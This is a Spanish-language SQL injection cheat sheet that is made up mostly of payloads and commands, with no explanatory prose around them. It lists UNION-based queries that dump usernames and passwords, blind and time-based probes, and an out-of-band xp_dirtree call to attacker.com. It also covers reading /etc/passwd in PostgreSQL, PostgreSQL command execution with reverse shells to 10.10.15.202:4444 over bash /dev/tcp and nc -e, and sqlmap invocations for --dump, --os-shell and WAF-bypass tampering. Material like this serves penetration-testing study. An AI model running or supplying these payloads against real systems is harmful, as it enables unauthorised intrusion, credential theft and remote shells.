SQL Injection — Guía Completa
Guía completa de SQL Injection: teoría, tipos, técnicas por motor, herramientas y RCE.
1. Fundamentos
SQL Injection permite inyectar código SQL malicioso a través del input de usuario.
Bases de Datos Soportadas
- MySQL/MariaDB
- PostgreSQL
- Oracle
- SQLite
- SQL Server
2. Tipos de SQLi
2.1. In-Band (Clásica)
' UNION SELECT 1,2,3--
Error-Based
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
Union-Based
' UNION SELECT username,password FROM users--
2.2. Blind SQLi
Sin salida visible. Se infiere por comportamiento.
Boolean-Based
' AND 1=1-- → true
' AND 1=2-- → false
Time-Based
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
2.3. Out-of-Band
'; EXEC('xp_dirtree "\\'+version()+'.attacker.com\"')--
3. Técnicas por Motor
3.1. MySQL/MariaDB
-- Versión: @@version
-- Usuario: user()
-- DB actual: database()
-- Concatenar: CONCAT() o ||
-- Comentarios: -- o #
3.2. PostgreSQL
-- Versión: version()
-- Usuario: current_user
-- Leer archivos: pg_read_file()
-- RCE: '; COPY (SELECT '') TO PROGRAM 'cmd'--
3.3. SQL Server
-- Versión: @@version
-- Usuario: SYSTEM_USER
-- Exec: EXEC xp_cmdshell 'whoami'
3.4. SQLite
-- Versión: sqlite_version()
-- Tablas: sqlite_master
-- Comentarios: -- (NO #)
4. Payloads Comunes
' OR '1'='1
' OR 1=1--
admin'--
' ORDER BY 1--
' UNION SELECT 1,2,3--
' UNION SELECT group_concat(table_name),2 FROM information_schema.tables--
5. SQLite Injection (desde MySQL)
Diferencias Clave
| Característica | MySQL | SQLite |
|---|---|---|
| Catálogo tablas | information_schema.tables |
sqlite_master |
| Columnas | information_schema.columns |
pragma_table_info() |
| Concatenar | CONCAT() |
\|\| |
| Comentario | -- o # |
solo -- |
| Versión | @@version |
sqlite_version() |
| Sleep | SLEEP(5) |
❌ No existe |
Enumeración SQLite
-- Versión
' UNION SELECT NULL,sqlite_version(),NULL--
-- DBs disponibles
SELECT name, file FROM pragma_database_list--
-- Tablas de main
SELECT name FROM sqlite_master WHERE type='table'--
-- Columnas
SELECT name FROM pragma_table_info('users')--
-- DDL completo
SELECT sql FROM sqlite_master WHERE name='users'--
-- Dump datos
' UNION SELECT NULL,GROUP_CONCAT(username||':'||password),NULL FROM users--
Boolean Blind en SQLite
' AND SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u'--
Time-Based en SQLite
' AND 1=(SELECT count(*) FROM sqlite_master,sqlite_master,sqlite_master)--
Queries Maestras SQLite
-- Mapeo completo
' UNION SELECT 1, m.name, GROUP_CONCAT(p.name, ' | '), 4
FROM sqlite_master m JOIN pragma_table_info(m.name) p
WHERE m.type='table' GROUP BY m.name--
6. PostgreSQL RCE
Enumeración
-- Usuario DB
current_user()::text
-- Usuario sesión
session_user()::text
Leer archivos
pg_read_file('/etc/passwd', 0, 1000)
Ejecutar comandos
-- Comando básico
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/output.txt' -- -
-- Reverse shell bash
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.15.202/4444 0>&1"' -- -
-- Reverse shell netcat
'; COPY (SELECT '') TO PROGRAM 'nc 10.10.15.202 4444 -e /bin/bash' -- -
pg_read_fileyCOPY TO PROGRAMrequieren superusuario.
7. SQLMAP
Detección
sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
Extracción
# Bases de datos
sqlmap -u "http://target.com" --dbs
# Tablas
sqlmap -u "http://target.com" -D webapp --tables
# Columnas
sqlmap -u "http://target.com" -D webapp -T users --columns
# Dump
sqlmap -u "http://target.com" -D webapp -T users --dump
# Shell
sqlmap -u "http://target.com" --os-shell
Parámetros útiles
--batch # Modo no interactivo
--risk=3 # Máximo riesgo
--level=5 # Máxima profundidad
--threads=10 # Hilos
--random-agent # User-agent aleatorio
--tamper=space2comment # Bypass WAF
--dbms=mysql # Forzar motor
8. Tabla de Referencia
| Tipo | Descripción |
|---|---|
| In-Band | Salida directa |
| Error-Based | Errores SQL |
| Union-Based | UNION queries |
| Blind Boolean | True/false |
| Blind Time | Sleep-based |
| Out-of-Band | DNS/HTTP |
9. Checklist
1. Detectar con '
2. ORDER BY n para número de columnas
3. UNION SELECT NULL,NULL,NULL
4. Enumerar database/tables/columns
5. Extraer datos
6. Probar RCE (PostgreSQL / SQL Server)
7. Automatizar con SQLMAP si aplica